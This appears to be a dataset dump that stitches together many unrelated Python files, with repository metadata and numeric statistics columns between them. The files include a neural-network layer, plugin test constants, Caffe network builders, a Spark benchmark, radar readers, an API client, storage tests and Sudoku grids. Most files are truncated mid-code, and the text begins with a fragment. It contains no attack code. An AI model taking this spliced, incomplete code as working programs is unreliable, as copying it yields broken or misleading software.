# chunk up the o... | 32.568182 | 94 | 0.547802 | 896 | 7,165 | 4.241071 | 0.135045 | 0.052632 | 0.051579 | 0.017895 | 0.923158 | 0.914737 | 0.908421 | 0.908421 | 0.908421 | 0.908421 | 0 | 0.006132 | 0.362736 | 7,165 | 220 | 95 | 32.568182 | 0.826106 | 0.20963 | 0 | 0.888112 | 0 | 0 | 0.013542 | 0.013186 | 0 | 0 | 0 | 0 | 0 | 1 | 0.13986 | false | 0 | 0.006993 | 0.027972 | 0.300699 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a10a48b14362db67789974efa63c236cc30ed241 | 69 | py | Python | tests/tests_unit/test_api/relative_imports/bad_relative_import.py | AlexThunder/cognite-sdk-python-experimental | 468d29e7809793ed45cef5da25dca22418839972 | [
"Apache-2.0"
] | null | null | null | tests/tests_unit/test_api/relative_imports/bad_relative_import.py | AlexThunder/cognite-sdk-python-experimental | 468d29e7809793ed45cef5da25dca22418839972 | [
"Apache-2.0"
] | null | null | null | tests/tests_unit/test_api/relative_imports/bad_relative_import.py | AlexThunder/cognite-sdk-python-experimental | 468d29e7809793ed45cef5da25dca22418839972 | [
"Apache-2.0"
] | null | null | null | from .util import local_func
def handle():
return local_func()
| 11.5 | 28 | 0.710145 | 10 | 69 | 4.7 | 0.8 | 0.382979 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.202899 | 69 | 5 | 29 | 13.8 | 0.854545 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | 8 |
a19e724b69f9674dac3392aa6ae485efccdb86dd | 25,639 | py | Python | sw/kernel/linear.py | libingzheren/UnarySim | 226c46a4ddce2fbb71395e8fd8decff768dc3742 | [
"MIT"
] | 1 | 2021-08-04T10:33:06.000Z | 2021-08-04T10:33:06.000Z | sw/kernel/linear.py | libingzheren/Stochastic_Computing | c02461454618e9ce0c86ce695fad9e95d1ca5e00 | [
"MIT"
] | null | null | null | sw/kernel/linear.py | libingzheren/Stochastic_Computing | c02461454618e9ce0c86ce695fad9e95d1ca5e00 | [
"MIT"
] | null | null | null | import torch
import math
from UnarySim.sw.stream.gen import RNG, RNGMulti, SourceGen, BSGen, BSGenMulti
class UnaryLinear(torch.nn.Module):
"""
this module is the fully connected layer,
its API is similar to the parent class (input/output feature count, bias flag), except:
1) accumulation mode
2) u... | 43.75256 | 135 | 0.618355 | 3,407 | 25,639 | 4.481655 | 0.04843 | 0.033925 | 0.042963 | 0.056389 | 0.962146 | 0.962146 | 0.954745 | 0.953435 | 0.953435 | 0.9461 | 0 | 0.009836 | 0.282304 | 25,639 | 586 | 136 | 43.75256 | 0.819955 | 0.126721 | 0 | 0.913924 | 0 | 0 | 0.022461 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.037975 | false | 0.012658 | 0.007595 | 0 | 0.096203 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a1b60cf095623bc5ad388640ead31affce2bc547 | 24,502 | py | Python | tests/constants.py | adamruzicka/receptor-satellite-1 | 5479ab5cf1d9fc1353190f9122993caeec44ee61 | [
"Apache-2.0"
] | 2 | 2020-02-27T18:47:16.000Z | 2020-03-03T14:01:01.000Z | tests/constants.py | adamruzicka/receptor-satellite-1 | 5479ab5cf1d9fc1353190f9122993caeec44ee61 | [
"Apache-2.0"
] | 9 | 2020-06-17T10:55:16.000Z | 2021-02-19T15:29:16.000Z | tests/constants.py | adamruzicka/receptor-satellite-1 | 5479ab5cf1d9fc1353190f9122993caeec44ee61 | [
"Apache-2.0"
] | 1 | 2020-02-17T21:47:47.000Z | 2020-02-17T21:47:47.000Z | import json
__all__ = [
"PLUGIN_CONFIG",
"UUID",
"BAD_UUID",
"UUID_URL",
"STATUSES_URL",
"MISSING_UUID_RESPONSE_BODY",
"UUID_RESPONSE_BODY",
"STATUSES_RESPONSE_BODY",
"NO_ANSIBLE_STATUSES_RESPONSE_BODY",
"NO_CAPSULES_STATUSES_RESPONSE_BODY",
"DOWN_CAPSULE_STATUSES_RESPONSE_B... | 68.250696 | 1,055 | 0.547098 | 2,673 | 24,502 | 4.941265 | 0.14104 | 0.055118 | 0.066626 | 0.035433 | 0.962523 | 0.95374 | 0.950409 | 0.950409 | 0.941323 | 0.941323 | 0 | 0.046085 | 0.343768 | 24,502 | 358 | 1,056 | 68.441341 | 0.775359 | 0 | 0 | 0.707042 | 0 | 0.135211 | 0.633173 | 0.032038 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.002817 | 0.002817 | 0 | 0.002817 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
62cd399ed2ee690e4c441e0a6e729192b7471332 | 648 | py | Python | precedence.py | theGreenJedi/practicepy | 330da97b0c79c3c8792ebb4166ecf2609545e127 | [
"MIT"
] | null | null | null | precedence.py | theGreenJedi/practicepy | 330da97b0c79c3c8792ebb4166ecf2609545e127 | [
"MIT"
] | null | null | null | precedence.py | theGreenJedi/practicepy | 330da97b0c79c3c8792ebb4166ecf2609545e127 | [
"MIT"
] | null | null | null | a = 2
b = 4
c = 8
print( '\nDefault Order:\t' , a , '*' , c ,'+' , b , '=' , a * c + b )
print( 'Forced Order:\t' , a , '* (' , c ,'+' , b , ') =' , a * ( c + b ) )
print( '\nDefault Order:\t' , c , '//' , b , '-' , a , '=' , c // b - a )
print( 'Forced Order:\t' , c , '// (' , b ,'-' ,a , ') =' , c // (... | 38.117647 | 80 | 0.305556 | 87 | 648 | 2.287356 | 0.137931 | 0.241206 | 0.120603 | 0.38191 | 0.899497 | 0.839196 | 0.798995 | 0.798995 | 0.798995 | 0.482412 | 0 | 0.007109 | 0.348765 | 648 | 16 | 81 | 40.5 | 0.462085 | 0 | 0 | 0 | 0 | 0 | 0.279365 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.727273 | 0 | 0 | 0 | null | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 10 |
c5355b21dd4f4f1c8596499d3596cc4d68b11e26 | 182 | py | Python | flashsale/models/__init__.py | comecsoftdev/public_python_flashsale_simple_repo | 48bf2ce13e306091cb5ab60383ae475678e82605 | [
"MIT"
] | 1 | 2022-02-22T07:31:03.000Z | 2022-02-22T07:31:03.000Z | flashsale/models/__init__.py | comecsoftdev/public_python_flashsale_simple_repo | 48bf2ce13e306091cb5ab60383ae475678e82605 | [
"MIT"
] | null | null | null | flashsale/models/__init__.py | comecsoftdev/public_python_flashsale_simple_repo | 48bf2ce13e306091cb5ab60383ae475678e82605 | [
"MIT"
] | null | null | null | from flashsale.models import basic_data
from flashsale.models import store
from flashsale.models import product
from flashsale.models import review
from flashsale.models import push
| 30.333333 | 39 | 0.862637 | 26 | 182 | 6 | 0.384615 | 0.416667 | 0.608974 | 0.801282 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.10989 | 182 | 5 | 40 | 36.4 | 0.962963 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
c5635e0e432689b734545d19f97091d19f4c02a1 | 92 | py | Python | my_project/my_project/offer/views/__init__.py | Govedarski/World-of-books | d270b72600a7986387a277dbe01ac8c6d747f662 | [
"MIT"
] | null | null | null | my_project/my_project/offer/views/__init__.py | Govedarski/World-of-books | d270b72600a7986387a277dbe01ac8c6d747f662 | [
"MIT"
] | null | null | null | my_project/my_project/offer/views/__init__.py | Govedarski/World-of-books | d270b72600a7986387a277dbe01ac8c6d747f662 | [
"MIT"
] | null | null | null | from my_project.offer.views.cb_views import *
from my_project.offer.views.fb_views import *
| 30.666667 | 45 | 0.826087 | 16 | 92 | 4.5 | 0.5 | 0.166667 | 0.361111 | 0.5 | 0.638889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.086957 | 92 | 2 | 46 | 46 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
c56546dbbc50b772ad5efca9285eaf64855e4895 | 3,272 | py | Python | tests/test_py_chunk.py | movermeyer/nicedjango | c38ada1e50efb5ef0874ef063074b621579c2954 | [
"MIT"
] | 1 | 2016-10-18T18:40:45.000Z | 2016-10-18T18:40:45.000Z | tests/test_py_chunk.py | movermeyer/nicedjango | c38ada1e50efb5ef0874ef063074b621579c2954 | [
"MIT"
] | null | null | null | tests/test_py_chunk.py | movermeyer/nicedjango | c38ada1e50efb5ef0874ef063074b621579c2954 | [
"MIT"
] | 1 | 2018-03-05T01:21:23.000Z | 2018-03-05T01:21:23.000Z | from nicedjango.utils.py.chunk import as_chunks, sliceable_as_chunks
from nicedjango.utils.py.iter import map_attr
def test_as_chunks_unsized():
iterable = iter([1, 2, 3, 4, 5, 6, 7, 8, 9])
chunks = list(as_chunks(iterable, 4))
assert [[1, 2, 3, 4], [5, 6, 7, 8], [9]] == chunks
assert [1, 2, 3] == lis... | 43.626667 | 88 | 0.558985 | 576 | 3,272 | 3.043403 | 0.071181 | 0.123788 | 0.188249 | 0.29093 | 0.922989 | 0.917285 | 0.916144 | 0.916144 | 0.913862 | 0.912721 | 0 | 0.097061 | 0.209658 | 3,272 | 74 | 89 | 44.216216 | 0.58082 | 0 | 0 | 0.65 | 0 | 0 | 0.043704 | 0 | 0 | 0 | 0 | 0 | 0.616667 | 1 | 0.116667 | false | 0 | 0.033333 | 0 | 0.15 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
c57465cb41977609d27640e14ff0d557ccb9c28e | 7 | py | Python | tests/syntax/integer_with_leading_zero_1.py | matan-h/friendly | 3ab0fc6541c837271e8865e247750007acdd18fb | [
"MIT"
] | 287 | 2019-04-08T13:18:29.000Z | 2021-03-14T19:10:21.000Z | tests/syntax/integer_with_leading_zero_1.py | matan-h/friendly | 3ab0fc6541c837271e8865e247750007acdd18fb | [
"MIT"
] | 191 | 2019-04-08T14:39:18.000Z | 2021-03-14T22:14:56.000Z | tests/syntax/integer_with_leading_zero_1.py | matan-h/friendly | 3ab0fc6541c837271e8865e247750007acdd18fb | [
"MIT"
] | 9 | 2019-04-08T12:54:08.000Z | 2020-11-20T02:26:27.000Z | x = 01
| 3.5 | 6 | 0.428571 | 2 | 7 | 1.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.5 | 0.428571 | 7 | 1 | 7 | 7 | 0.25 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
3d64bf307b2568150287b72163728212b60311b3 | 68,097 | py | Python | remodet_repository_wdh_part/Projects/zhangming@172.16.168/DAPNet.py | UrwLee/Remo_experience | a59d5b9d6d009524672e415c77d056bc9dd88c72 | [
"MIT"
] | null | null | null | remodet_repository_wdh_part/Projects/zhangming@172.16.168/DAPNet.py | UrwLee/Remo_experience | a59d5b9d6d009524672e415c77d056bc9dd88c72 | [
"MIT"
] | null | null | null | remodet_repository_wdh_part/Projects/zhangming@172.16.168/DAPNet.py | UrwLee/Remo_experience | a59d5b9d6d009524672e415c77d056bc9dd88c72 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import os
import sys
import math
sys.dont_write_bytecode = True
import caffe
from caffe import layers as L
from caffe import params as P
from caffe.proto import caffe_pb2
sys.path.append('../')
from PyLib.LayerParam.MultiBoxLossLayerParam import *
from PyLib.NetLib.ConvBNLayer import *
from PyLi... | 60.90966 | 151 | 0.606341 | 8,702 | 68,097 | 4.325557 | 0.034245 | 0.090115 | 0.058341 | 0.077788 | 0.946654 | 0.93786 | 0.934593 | 0.933052 | 0.929651 | 0.929651 | 0 | 0.032313 | 0.270144 | 68,097 | 1,117 | 152 | 60.96419 | 0.725036 | 0.01887 | 0 | 0.87109 | 0 | 0 | 0.236551 | 0.090688 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.018009 | null | null | 0.001896 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
3d67b97c686dad31eb36f8510c9145ccf54a95f1 | 232 | py | Python | colXLM/modeling/tokenization/__init__.py | hannawong/ColXLM | 56cb7fdd11244b8355d2181c668ee13edfcff457 | [
"MIT"
] | 115 | 2021-11-10T00:14:29.000Z | 2022-03-15T02:57:16.000Z | colXLM/modeling/tokenization/__init__.py | hannawong/ColXLM | 56cb7fdd11244b8355d2181c668ee13edfcff457 | [
"MIT"
] | null | null | null | colXLM/modeling/tokenization/__init__.py | hannawong/ColXLM | 56cb7fdd11244b8355d2181c668ee13edfcff457 | [
"MIT"
] | 16 | 2021-11-12T02:46:11.000Z | 2021-12-04T15:53:27.000Z | from colXLM.modeling.tokenization.query_tokenization import *
from colXLM.modeling.tokenization.doc_tokenization import *
from colXLM.modeling.tokenization.utils import tensorize_triples,tensorize_triples_qlm,tensorize_triples_prop
| 58 | 109 | 0.892241 | 28 | 232 | 7.142857 | 0.428571 | 0.15 | 0.27 | 0.45 | 0.48 | 0.48 | 0 | 0 | 0 | 0 | 0 | 0 | 0.051724 | 232 | 3 | 110 | 77.333333 | 0.909091 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
3d9a5d7ae8f3136399072dd719883286319d747b | 132,132 | py | Python | src/oci/service_catalog/service_catalog_client.py | ezequielramos/oci-python-sdk | cc4235cf217beaf9feed75760e9ce82610222762 | [
"Apache-2.0",
"BSD-3-Clause"
] | 3 | 2020-09-10T22:09:45.000Z | 2021-12-24T17:00:07.000Z | src/oci/service_catalog/service_catalog_client.py | ezequielramos/oci-python-sdk | cc4235cf217beaf9feed75760e9ce82610222762 | [
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null | src/oci/service_catalog/service_catalog_client.py | ezequielramos/oci-python-sdk | cc4235cf217beaf9feed75760e9ce82610222762 | [
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null | # coding: utf-8
# Copyright (c) 2016, 2021, Oracle and/or its affiliates. All rights reserved.
# This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may c... | 49.432099 | 268 | 0.653354 | 16,264 | 132,132 | 5.116884 | 0.032218 | 0.066233 | 0.018841 | 0.00572 | 0.911116 | 0.895615 | 0.87842 | 0.868783 | 0.863628 | 0.854904 | 0 | 0.001281 | 0.267278 | 132,132 | 2,672 | 269 | 49.450599 | 0.858298 | 0.407259 | 0 | 0.820619 | 0 | 0 | 0.159237 | 0.03652 | 0 | 0 | 0 | 0 | 0 | 1 | 0.018557 | false | 0.000687 | 0.006186 | 0 | 0.061168 | 0.000687 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
3dbd0f548c183e0fa94fb303f2bcba72893a33a1 | 8,984 | py | Python | spark/python/benchmark_SPARK_9488.py | 0x0FFF/experiments | c9533c6ad6141a48303a43947d89f2322aeed70d | [
"Apache-2.0"
] | null | null | null | spark/python/benchmark_SPARK_9488.py | 0x0FFF/experiments | c9533c6ad6141a48303a43947d89f2322aeed70d | [
"Apache-2.0"
] | null | null | null | spark/python/benchmark_SPARK_9488.py | 0x0FFF/experiments | c9533c6ad6141a48303a43947d89f2322aeed70d | [
"Apache-2.0"
] | null | null | null | import random
import time
from hashlib import md5
def _create_row(fields, values):
row = Row(*values)
row.__fields__ = fields
return row
class Row(tuple):
"""
A row in L{DataFrame}. The fields in it can be accessed like attributes.
Row can be used to create a row object by using named argu... | 31.412587 | 117 | 0.54675 | 1,122 | 8,984 | 4.171123 | 0.154189 | 0.023932 | 0.020513 | 0.023932 | 0.839744 | 0.836752 | 0.836752 | 0.836752 | 0.818803 | 0.800855 | 0 | 0.015897 | 0.327805 | 8,984 | 285 | 118 | 31.522807 | 0.759066 | 0.03484 | 0 | 0.71875 | 0 | 0 | 0.078836 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.01875 | null | null | 0.0125 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
3dcfee446a3876c1eab5362ab5513a5986b3b371 | 3,573 | py | Python | pycwr/io/__init__.py | 1271756664/study | 8013dd6c597618949c5fcbf86e38502525a8136d | [
"MIT"
] | 144 | 2019-11-27T14:36:41.000Z | 2022-02-23T08:21:17.000Z | pycwr/io/__init__.py | 1271756664/study | 8013dd6c597618949c5fcbf86e38502525a8136d | [
"MIT"
] | 32 | 2019-11-29T10:11:53.000Z | 2022-03-14T07:46:44.000Z | pycwr/io/__init__.py | 1271756664/study | 8013dd6c597618949c5fcbf86e38502525a8136d | [
"MIT"
] | 57 | 2019-11-27T12:51:44.000Z | 2022-01-29T14:50:05.000Z | from . import SCFile, WSR98DFile, SABFile, CCFile, PAFile
from .util import radar_format
__all__ = ["read_auto", "CCFile", "SCFile", "WSR98DFile", "SABFile"]
def read_auto(filename, station_lon=None, station_lat=None, station_alt=None):
"""
:param filename: radar basedata filename
:param station_lon: ra... | 50.323944 | 123 | 0.736636 | 444 | 3,573 | 5.736486 | 0.121622 | 0.086376 | 0.113074 | 0.098155 | 0.907735 | 0.907735 | 0.907735 | 0.907735 | 0.907735 | 0.907735 | 0 | 0.01133 | 0.16009 | 3,573 | 70 | 124 | 51.042857 | 0.837388 | 0.390988 | 0 | 0.37037 | 0 | 0 | 0.037755 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.074074 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 8 |
9a717733af978bd262ece0750855549656f30728 | 23,130 | py | Python | libs/PureCloudPlatformClientV2/apis/notifications_api.py | rocketbot-cl/genesysCloud | dd9d9b5ebb90a82bab98c0d88b9585c22c91f333 | [
"MIT"
] | 1 | 2021-10-08T20:46:45.000Z | 2021-10-08T20:46:45.000Z | libs/PureCloudPlatformClientV2/apis/notifications_api.py | rocketbot-cl/genesysCloud | dd9d9b5ebb90a82bab98c0d88b9585c22c91f333 | [
"MIT"
] | null | null | null | libs/PureCloudPlatformClientV2/apis/notifications_api.py | rocketbot-cl/genesysCloud | dd9d9b5ebb90a82bab98c0d88b9585c22c91f333 | [
"MIT"
] | null | null | null | # coding: utf-8
"""
NotificationsApi.py
Copyright 2016 SmartBear Software
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless requ... | 38.743719 | 227 | 0.559014 | 2,229 | 23,130 | 5.614177 | 0.109018 | 0.031645 | 0.024932 | 0.021256 | 0.836583 | 0.832747 | 0.831629 | 0.824357 | 0.813089 | 0.813089 | 0 | 0.001492 | 0.362516 | 23,130 | 596 | 228 | 38.808725 | 0.847202 | 0.279464 | 0 | 0.806557 | 0 | 0 | 0.184776 | 0.058801 | 0 | 0 | 0 | 0 | 0 | 1 | 0.02623 | false | 0 | 0.022951 | 0 | 0.07541 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
9a75aa4695d19c9f81142de9801ffff7f439092f | 147,813 | py | Python | core/admission_control_marker/phone_features.py | MD2Korg/CerebralCortex-DataDebugger | f2e34337cd7e47fde77a7ccad32ea55da972caec | [
"BSD-2-Clause"
] | null | null | null | core/admission_control_marker/phone_features.py | MD2Korg/CerebralCortex-DataDebugger | f2e34337cd7e47fde77a7ccad32ea55da972caec | [
"BSD-2-Clause"
] | null | null | null | core/admission_control_marker/phone_features.py | MD2Korg/CerebralCortex-DataDebugger | f2e34337cd7e47fde77a7ccad32ea55da972caec | [
"BSD-2-Clause"
] | null | null | null | # Copyright (c) 2018, MD2K Center of Excellence
# - Md Shiplu Hawlader <shiplu.cse.du@gmail.com; mhwlader@memphis.edu>
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of sour... | 45.990355 | 129 | 0.595002 | 18,085 | 147,813 | 4.671275 | 0.031131 | 0.043572 | 0.023852 | 0.029356 | 0.843537 | 0.819188 | 0.79916 | 0.785784 | 0.77545 | 0.769342 | 0 | 0.009838 | 0.315757 | 147,813 | 3,213 | 130 | 46.004669 | 0.82544 | 0.176026 | 0 | 0.729995 | 0 | 0 | 0.042992 | 0.027663 | 0 | 0 | 0 | 0 | 0 | 1 | 0.036968 | false | 0 | 0.008891 | 0 | 0.110435 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
b155a17e3d137598eacf58491f3f3858bbddc645 | 17,415 | py | Python | test/programytest/storage/stores/sql/store/test_usergroups.py | cdoebler1/AIML2 | ee692ec5ea3794cd1bc4cc8ec2a6b5e5c20a0d6a | [
"MIT"
] | 345 | 2016-11-23T22:37:04.000Z | 2022-03-30T20:44:44.000Z | test/programytest/storage/stores/sql/store/test_usergroups.py | MikeyBeez/program-y | 00d7a0c7d50062f18f0ab6f4a041068e119ef7f0 | [
"MIT"
] | 275 | 2016-12-07T10:30:28.000Z | 2022-02-08T21:28:33.000Z | test/programytest/storage/stores/sql/store/test_usergroups.py | VProgramMist/modified-program-y | f32efcafafd773683b3fe30054d5485fe9002b7d | [
"MIT"
] | 159 | 2016-11-28T18:59:30.000Z | 2022-03-20T18:02:44.000Z | import yaml
import unittest.mock
from unittest.mock import patch
import programytest.storage.engines as Engines
from programy.storage.stores.sql.config import SQLStorageConfiguration
from programy.storage.stores.sql.engine import SQLStorageEngine
from programy.storage.stores.sql.store.usergroups import SQLUserGroupStor... | 32.071823 | 98 | 0.615619 | 1,531 | 17,415 | 6.866101 | 0.060091 | 0.039954 | 0.041952 | 0.047945 | 0.903919 | 0.874429 | 0.85312 | 0.841134 | 0.841134 | 0.824486 | 0 | 0.008041 | 0.300201 | 17,415 | 543 | 99 | 32.071823 | 0.854517 | 0 | 0 | 0.834842 | 0 | 0 | 0.24845 | 0.004766 | 0 | 0 | 0 | 0 | 0.133484 | 1 | 0.049774 | false | 0 | 0.027149 | 0 | 0.079186 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
491fe011eee61376f93c6fa1a125b2cde5353a1a | 3,469 | py | Python | test/test_dumps_xml.py | asantoso/javaproperties | 2ca21bd4a69feecde77444c536ff62c221b390e3 | [
"MIT"
] | null | null | null | test/test_dumps_xml.py | asantoso/javaproperties | 2ca21bd4a69feecde77444c536ff62c221b390e3 | [
"MIT"
] | null | null | null | test/test_dumps_xml.py | asantoso/javaproperties | 2ca21bd4a69feecde77444c536ff62c221b390e3 | [
"MIT"
] | null | null | null | from __future__ import unicode_literals
from collections import OrderedDict
from javaproperties import dumps_xml
def test_dumps_xml_nothing():
assert dumps_xml({}) == '''\
<!DOCTYPE properties SYSTEM "http://java.sun.com/dtd/properties.dtd">
<properties>
</properties>
'''
def test_dumps_xml_simple():... | 28.669421 | 79 | 0.659268 | 435 | 3,469 | 5.096552 | 0.098851 | 0.090212 | 0.064953 | 0.081191 | 0.897158 | 0.85521 | 0.846189 | 0.815968 | 0.770862 | 0.770862 | 0 | 0 | 0.11646 | 3,469 | 120 | 80 | 28.908333 | 0.723328 | 0 | 0 | 0.722222 | 0 | 0 | 0.604209 | 0.14817 | 0 | 0 | 0 | 0 | 0.111111 | 1 | 0.111111 | true | 0 | 0.027778 | 0 | 0.138889 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
4924b704b9c29e0a653b674acdbf7bcd84eecae4 | 10,626 | py | Python | data/p096.py | joetache4/ProjectEuler | f101e927d73dbafa11af1b208992bf0d830c88b1 | [
"MIT"
] | null | null | null | data/p096.py | joetache4/ProjectEuler | f101e927d73dbafa11af1b208992bf0d830c88b1 | [
"MIT"
] | null | null | null | data/p096.py | joetache4/ProjectEuler | f101e927d73dbafa11af1b208992bf0d830c88b1 | [
"MIT"
] | null | null | null | def get_data():
return [[\
[0,0,3,0,2,0,6,0,0],\
[9,0,0,3,0,5,0,0,1],\
[0,0,1,8,0,6,4,0,0],\
[0,0,8,1,0,2,9,0,0],\
[7,0,0,0,0,0,0,0,8],\
[0,0,6,7,0,8,2,0,0],\
[0,0,2,6,0,9,5,0,0],\
[8,0,0,2,0,3,0,0,9],\
[0,0,5,0,1,0,3,0,0]\
],[\
[2,0,0,0,8,0,3,0,0],\
[0,6,0,0,7,0,0,8,4],\
